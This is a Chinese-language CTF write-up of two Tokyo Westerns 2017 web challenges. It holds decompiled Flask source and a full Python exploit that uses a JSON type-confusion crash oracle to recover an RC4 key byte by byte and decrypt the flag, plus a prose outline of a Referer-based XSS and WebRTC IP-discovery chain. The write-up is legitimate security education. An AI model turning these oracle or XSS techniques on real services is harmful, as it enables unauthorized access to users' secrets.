

Tokyo Westerns 2017 Web
source link: https://phuker.github.io/tokyo-westerns-2017-web.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

最近洒家参加了 Tokyo Westerns CTF 2017,做了几道 Web 题。洒家去年也参加了这个 CTF,但是今年情况发生了很多变化。今年的 CTF 采用了动态分数制,Web 题目数量减少,除了热身题只有两道,难度也都增加了很多。而洒家前一段时间在忙考研/保研等一堆破事,长时间没有关注信息安全,连 Web 题的初步操作都不熟练了。
这里已经有了写得相当不错的 write up,因此以下内容写得简略一些,详情可以看这些 write up。
Super Secure Storage¶
题目链接:http://s3.chal.ctf.westerns.tokyo/
洒家长期不搞 Web 题明显生疏了很多,一开始上手都忘了怎么搞了,连 /robots.txt
都是学弟找到的。根据找到的配置文件可以知道这是一个使用了 Nginx、uWSGI 的 Python 应用,数据库是 SQLite。网站禁止了 .py
请求,测试了一波 app.pyc
等文件名都无法访问,猜测可能是 Python 3,然后在 http://s3.chal.ctf.westerns.tokyo/__pycache__/app.cpython-35.pyc
搞到了源码。
# encoding: utf-8
# uncompyle6 version 2.11.5
# Python bytecode 3.5 (3350)
# Decompiled from: Python 2.7.12 (default, Nov 19 2016, 06:48:10)
# [GCC 5.4.0 20160609]
# Embedded file name: ./app.py
# Compiled at: 2017-09-02 11:38:15
# Size of source mod 2**32: 3340 bytes
from flask import Flask, jsonify, request
from flask_sqlalchemy import SQLAlchemy
import hashlib
import os
app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///./db.sqlite3'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
app.secret_key = os.environ['SECRET_KEY']
db = SQLAlchemy(app)
# 数据库:id, key: 用户密码被 SECRET_KEY 加密的密文,data: 信息被用户密码加密后的密文
class Data(db.Model):
__tablename__ = 'data'
id = db.Column(db.Integer, primary_key=True)
key = db.Column(db.String)
data = db.Column(db.String)
def __init__(self, key, data):
self.key = key
self.data = data
def __repr__(self):
return '<Data id:{}, key:{}, data:{}>'.format(self.id, self.key, self.data)
class RC4:
def __init__(self, key=app.secret_key): # 默认加密 key 是 secret key
self.stream = self.PRGA(self.KSA(key))
def enc(self, c):
return chr(ord(c) ^ next(self.stream)) # ord() 函数可能导致 crash
@staticmethod
def KSA(key):
keylen = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = j + S[i] + ord(key[i % keylen]) & 255
S[i], S[j] = S[j], S[i]
return S
@staticmethod
def PRGA(S):
i = 0
j = 0
while True:
i = i + 1 & 255
j = j + S[i] & 255
S[i], S[j] = S[j], S[i]
yield S[S[i] + S[j] & 255]
# 漏洞:当 input_pass 数据类型不为 str 就可能 crash
# 正确 "12345678"
# "12345678" true
# ["1"] [1] false 长度不同
# [1, 2, 3, 4, 5, 6, 7, 8] crash
# [[],"aa",{},1.23,[],None,[],None] crash
# ["1","2","3","4","5","6","7","8"] true list 也可以 zip
def verify(enc_pass, input_pass):
if len(enc_pass) != len(input_pass):
return False
rc4 = RC4()
for x, y in zip(enc_pass, input_pass): # 时间上存在侧信道攻击 但是并无卵用
if x != rc4.enc(y):
return False
return True
@app.before_first_request
def init():
db.create_all()
if not Data.query.get(1):
key = os.environ['KEY'] # 加密 flag 的 key
data = os.environ['FLAG'] # flag
rc4 = RC4()
enckey = ''
for c in key:
enckey += rc4.enc(c) # 用 secret key 加密 key
rc4 = RC4(key) # 用 key 加密 data
encdata = ''
for c in data:
encdata += rc4.enc(c)
flag = Data(enckey, encdata)
db.session.add(flag)
db.session.commit()
@app.route('/api/data', methods=['POST']) # 增加新消息
def new():
req = request.json
if not req:
return jsonify(result=False)
for k in ['data', 'key']:
if k not in req:
return jsonify(result=False)
key, data = req['key'], req['data']
if len(key) < 8 or len(data) == 0: # key 长度至少 8 位
return jsonify(result=False)
enckey = ''
rc4 = RC4()
for c in key:
enckey += rc4.enc(c)
encdata = ''
rc4 = RC4(key)
for c in data:
encdata += rc4.enc(c)
newdata = Data(enckey, encdata)
db.session.add(newdata)
db.session.commit()
return jsonify(result=True, id=newdata.id, data=newdata.data)
@app.route('/api/data/<int:data_id>')
def data(data_id):
data = Data.query.get(data_id)
if not data:
return jsonify(result=False)
return jsonify(result=True, data=data.data)
# 检查 key:发送 key, data_id
@app.route('/api/data/<int:data_id>/check', methods=['POST'])
def check(data_id):
data = Data.query.get(data_id) # 查数据库
if not data:
return jsonify(result=False)
req = request.json
if not req:
return jsonify(result=False)
for k in ['key']:
if k not in req:
return jsonify(result=False)
enckey, key = data.key, req['key']
if not verify(enckey, key):
return jsonify(result=False)
return jsonify(result=True)
if __name__ == '__main__':
app.run()
# okay decompiling app.cpython-35.pyc
网站前端用了 Vue.js,后端有 3 个 API:
POST /api/data
,json 发送 key 和 data,增加一条信息GET /api/data/<int:data_id>
,获得密文POST /api/data/<int:data_id>/check
,json 发送 key,检查密钥
这代码看来看去,只想到了几条错误思路:
- 由于用了 SQLAlchemy,SQL 注入不太可行。
- 暴力破解:纯属扯淡。最后证实密码有 16 位,不可能在规定时间内爆破出来。
- 密码学:并不会。
- 实在找不到漏洞,洒家发现
verify()
函数检测到字节错误直接返回False
,然后突发奇想想试试侧信道的时序攻击。但是一番测试之后发现verify()
函数的运行时间差远小于网络扰动造成的时间差,无法得到代码运行的时间差。
看了 Write up 之后恍然大悟,问题仍然出在 verify()
函数上,但是正确的解法利用了程序没有对参数的数据类型做检验的弱点。verify()
的 input_pass
参数是从用户 POST
的 json
数据得到,本身可以是任何 json
可以表示的数据类型。input_pass
可以是一个 list
,它的内容可以是 str
、int
、None
、list
、dict
等。对于这个参数,["1","2","3","4","5","6","7","8"]
就等价于 "12345678"
。如果 for
循环到达了 int
、None
等不合法类型的成员变量,在 rc4.enc()
中就会作为参数进入 ord()
,造成程序崩溃。利用这一点可以得出以下解题思路。由于 verify()
函数首先使用 len()
监测 key
的长度,长度不匹配会立即返回,我们可以构造不同长度的不合法 list
造成程序崩溃来探测 key
的长度;由于 verify()
函数检测到字节错误会立即返回,我们可以控制程序的崩溃,逐字节获得 key
。
这个原理详见这篇 write up。
根据这个思路可以写出 exploit:
import os
import sys
import json
import logging
import string
logging.basicConfig(level=logging.INFO,
format='%(asctime)s [%(levelname)s]:%(message)s',
datefmt='%H:%M:%S',
stream=sys.stdout)
import requests
TARGET_ID = 1
HOST = 'http://s3.chal.ctf.westerns.tokyo'
ALPHABET = string.ascii_lowercase + string.digits + string.ascii_uppercase
sess = requests.Session()
sess.proxies = {'http': 'http://127.0.0.1:8080'} # None
if sess.proxies != None:
logging.warning('Using proxy %s',repr(sess.proxies))
def rc4_crypt(data, key):
"""RC4 algorithm"""
x = 0
box = range(256)
for i in range(256):
x = (x + box[i] + ord(key[i % len(key)])) % 256
box[i], box[x] = box[x], box[i]
x = y = 0
out = []
for char in data:
x = (x + 1) % 256
y = (y + box[x]) % 256
box[x], box[y] = box[y], box[x]
out.append(chr(ord(char) ^ box[(box[x] + box[y]) % 256]))
return ''.join(out)
def save_data(data, key):
url = HOST + '/api/data'
json_data = {'data': data, 'key': key}
# r = sess.post(url, json=json_data) # requests buggy sending binary data
post_data = json.dumps(json_data, encoding='latin-1', separators=(',', ':'))
headers = {'Content-Type': 'application/json;charset=UTF-8'}
r = sess.post(url, data=post_data, headers=headers)
result = r.json()
logging.info('data=%s key=%s saved=%s', repr(data), repr(key), repr(result['result']))
logging.info('id=%s cipher=%s', repr(result['id']), repr(result['data']))
def check(id, json_data):
url = (HOST + '/api/data/{id}/check').format(id=id)
r = sess.post(url, json=json_data)
assert r.status_code == 200
return (r.json())['result']
def get_key_len(id):
for length in xrange(32):
json_data = {'key': [0] * length}
try:
check(id, json_data)
except AssertionError:
return length
# not strict if ALPHABET is not enough
def get_key(id, length):
key_list = [0] * length
for place in xrange(length):
for i in xrange(len(ALPHABET)):
key_list[place] = ALPHABET[i]
json_data = {'key': key_list}
try:
if check(id, json_data):
break
except AssertionError:
break
logging.info('key[%d] is %s', place, ALPHABET[i])
return ''.join(key_list)
def get_data(id, key):
url = (HOST + '/api/data/{id}').format(id=id)
r = sess.get(url)
result = r.json()
if result['result']:
cipher = result['data']
return rc4_crypt(cipher, key)
else:
logging.info('get cipher error')
return None
def auto_get_data(id):
logging.info('retrieving key length...')
length = get_key_len(id)
logging.info('key length for id %d is %d', id, length)
logging.info('retrieving key ...')
key = get_key(id, length)
logging.info('key for id %d is %s', id, repr(key))
data = get_data(id, key)
logging.info('data for id %d is %s', id, repr(data))
return data
if __name__ == "__main__":
# save_data('this is a secret','aaaaaaaa')
# save_data(rc4_crypt('i want you see directly','aaaaaaaa'),'aaaaaaaa') # reverse plain and cipher
# save_data(rc4_crypt('<script>alert(1);</script>', 'aaaaaaaa'), 'aaaaaaaa') # no xss
# auto_get_data(81527) # a test, key: abcdefgh data: aabbccddeeffgghh
flag = auto_get_data(TARGET_ID)
# save_data(rc4_crypt(flag, 'aaaaaaaa'), 'aaaaaaaa') # http://s3.chal.ctf.westerns.tokyo/#/data/81539
另外根据这条评论,有人在这条消息中泄露了 flag,这条消息的密文就就是明文的 flag。这是用了 rc4 的对称加密的性质实现的,先把 flag 加密,然后提交密文和加密的密钥,服务器上二次“加密”,就能使密文等于明文的 flag。上面的 exploit 提供了一键搅屎的函数。
改变输入数据的类型是测试一个系统常见的思路,以前在 PHP、MongoDB 等场合下经常使用。可惜洒家这次遇到了 Python 和 Json 就没有想到这一点,由此对做出这题的人表示佩服。

Clock Style Sheet¶
write up 参考 https://blog.tyage.net/?p=1043
题目链接 http://css.chal.ctf.westerns.tokyo/
提供了 2 个文件:
proxy.py
代理服务器sanitizer.py
过滤的函数,在proxy.py
和/refersh
中都有调用
这题出得略有问题,题目目的有点迷。有 4 个页面:
/
首页是一个纯 CSS 实现的钟表。有一个 js,运行就会跳转到 please disable javascript,因此必须关闭 JS 功能才能正常看到这个表。/chrowler/
一段selenium
代码,运行 Chrome 访问用户提供的 URL。页面上的代码写着options.add_argument('--disable-javascript')
,当时想来想去觉得直接在浏览器上禁用了 JavaScript 肯定无解了。刚才试了一下,实际上并没有禁用 JavaScript,洒家被这行代码误导了。/flag
需要用局域网访问的 flag/refresh
比赛的时候没有仔细看。。。被首页调用。看似是因为首页不能执行 js 所以搞了个跳转页面,实际上出题人的目的是增大了攻击面。这个页面跳转到Referer
,可以在Referer
里面插入 payload。
大致思路:
/refresh
的referer
被过滤,可以绕过,造成 XSS- 从自己的服务器跳转到
/refresh
,跳转前使用history.pushState
修改 Referer 插入 payload - 使用 WebRTC 找出 chrowler 的 IP,然后猜出 Web 服务器的 IP,拿到 flag。
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK